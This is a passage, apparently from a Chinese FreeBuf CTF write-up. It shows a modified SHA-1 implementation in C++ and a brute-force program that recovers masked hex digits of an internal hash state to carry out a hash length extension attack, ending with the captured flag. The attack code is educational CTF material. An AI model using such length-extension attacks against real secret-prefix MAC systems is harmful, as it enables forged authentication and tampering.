0;           context->Intermediate_Hash[0]     = h1;        context->Intermediate_Hash[1]     = h2;        context->Intermediate_Hash[2]     = h3;        context->Intermediate_Hash[3]     = h4;        context->Intermediate_Hash[4]     = h5;           context->Computed   = 0;        context->Corrupted  = 0;        return shaSuccess;  }     /*   *    SHA1Result   *   *  以下为sha-1结果描述:   *:   *  该算法将会返回一个160比特的消息摘要队列   *   *  或者输出计算错误   *   */  int SHA_1::SHA1Result( SHA1Context   *context,                  unsigned char   Message_Digest[SHA1HashSize])  {        int i;           if (!context || !Message_Digest)        {          return shaNull;        }           if (context->Corrupted)        {          return context->Corrupted;        }           if (!context->Computed)        {          SHA1PadMessage(context);          for(i=0; i<64; ++i)          {              /* 消息清零 */              context->Message_Block[i] = 0;            }          context->Length_Low = 0;    /* 长度清零 */          context->Length_High = 0;          context->Computed = 1;        }           for(i = 0; i < SHA1HashSize; ++i)        {          Message_Digest[i] =   context->Intermediate_Hash[i>>2]                              >> 8 * ( 3 - ( i & 0x03 ) );        }           return shaSuccess;  }     /*   *  以下为sha-1输入描述:   *   *  接收单位长度为8字节倍数的消息   *   */  int SHA_1::SHA1Input(    SHA1Context    *context,                    const unsigned char  *message_array,                    unsigned       length)  {        if(isattack)                     return   shaSuccess;              if   (!length)        {          return shaSuccess;        }           if (!context || !message_array)        {          return shaNull;        }           if (context->Computed)        {          context->Corrupted =   shaStateError;            return shaStateError;        }           if (context->Corrupted)        {           return context->Corrupted;        }        while(length-- && !context->Corrupted)        {        context->Message_Block[context->Message_Block_Index++] =                      (*message_array &   0xFF);           context->Length_Low += 8;        if (context->Length_Low == 0)        {          context->Length_High++;          if (context->Length_High == 0)          {              /* Message is too long */              context->Corrupted = 1;          }        }           if (context->Message_Block_Index == 64)        {          SHA1ProcessMessageBlock(context);        }           message_array++;        }           return shaSuccess;  }     int main(int argc, char* argv[])  {           class   SHA_1 sha1;           SHA_1::SHA1Context   sh1context;  //      sha1.SHA1Reset(&sh1context,0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0);              paddinglength   = 128;           isattack   = TRUE;              char   c[]={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};           int   b[7],b1[7];           int   bc=0,bc1=0;           for(int   i=0;i<strlen(argv[1]);i++)           {                     if(argv[1][i]   == 'x')                     {                              b[bc]   = i;                              bc++;                     }           }              for(i=0;i<strlen(argv[2]);i++)           {                     if(argv[2][i]   == 'x')                     {                              b1[bc1]   = i;                              bc1++;                     }           }              int   i1 = atoi(argv[3]);  //      for(int   i1=7;i1<16;i1++)           {                     argv[1][b[0]]   = c[i1];                     for(int   i2=0;i2<16;i2++)                     {                              argv[1][b[1]]   = c[i2];                              for(int   i3=0;i3<16;i3++)                              {                                       printf("%d   %d %d/n",i1,i2,i3);                                       argv[1][b[2]]   = c[i3];                                       for(int   i4=0;i4<16;i4++)                                       {                                                 argv[1][b[3]]   = c[i4];                                                 for(int   i5=0;i5<16;i5++)                                                 {                                                          argv[1][b[4]]   = c[i5];                                                          for(int   i6=0;i6<16;i6++)                                                          {                                                                   argv[1][b[5]]   = c[i6];                                                                   for(int   i7=0;i7<16;i7++)                                                                   {                                                                             argv[1][b[6]]   = c[i7];                                                                                char   sss[100];                                                                             char   *tostr;                                                                             memset(sss,0,sizeof(sss));                                                                             strcpy(sss,"0x");                                                                            memcpy(&sss[2],&argv[1][0],8);                                                                             unsigned   long h1 = strtoul(sss,&tostr,16);                                                                             memcpy(&sss[2],&argv[1][8],8);                                                                             unsigned   long h2 = strtoul(sss,&tostr,16);                                                                             memcpy(&sss[2],&argv[1][16],8);                                                                             unsigned   long h3 = strtoul(sss,&tostr,16);                                                                             memcpy(&sss[2],&argv[1][24],8);                                                                             unsigned   long h4 = strtoul(sss,&tostr,16);                                                                             memcpy(&sss[2],&argv[1][32],8);                                                                             unsigned   long h5 = strtoul(sss,&tostr,16);                                                                                sha1.SHA1Reset(&sh1context,h1,h2,h3,h4,h5);                                                                            sha1.SHA1Input(&sh1context,(BYTE*)"attack",128);                                                                             BYTE   hashresult[20];                                                                             sha1.SHA1Result(&sh1context,hashresult);                                                                             char   stemp[10];                                                                             char   output[100];                                                                             output[0]   = 0;                                                                             for(int   i=0;i<20;i++)                                                                             {                                                                                      sprintf(stemp,"%02x",hashresult[i]);                                                                                      strcat(output,stemp);                                                                             }                                                                             for(i=0;i<7;i++)                                                                                      output[b1[i]]  = 'x';                                                                             if(strcmp(argv[2],output)   == 0)                                                                             {                                                                                      printf("find!   /n%s/n",argv[1]);                                                                                      return   0;                                                                             }                                                                   }                                                          }                                                 }                                       }                              }                     }           }                 return   0;  }

最后获取的flag为Congratulations, flag is flag{ha5h_ex7ens1on_r0cks!}

*作者:墨客,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论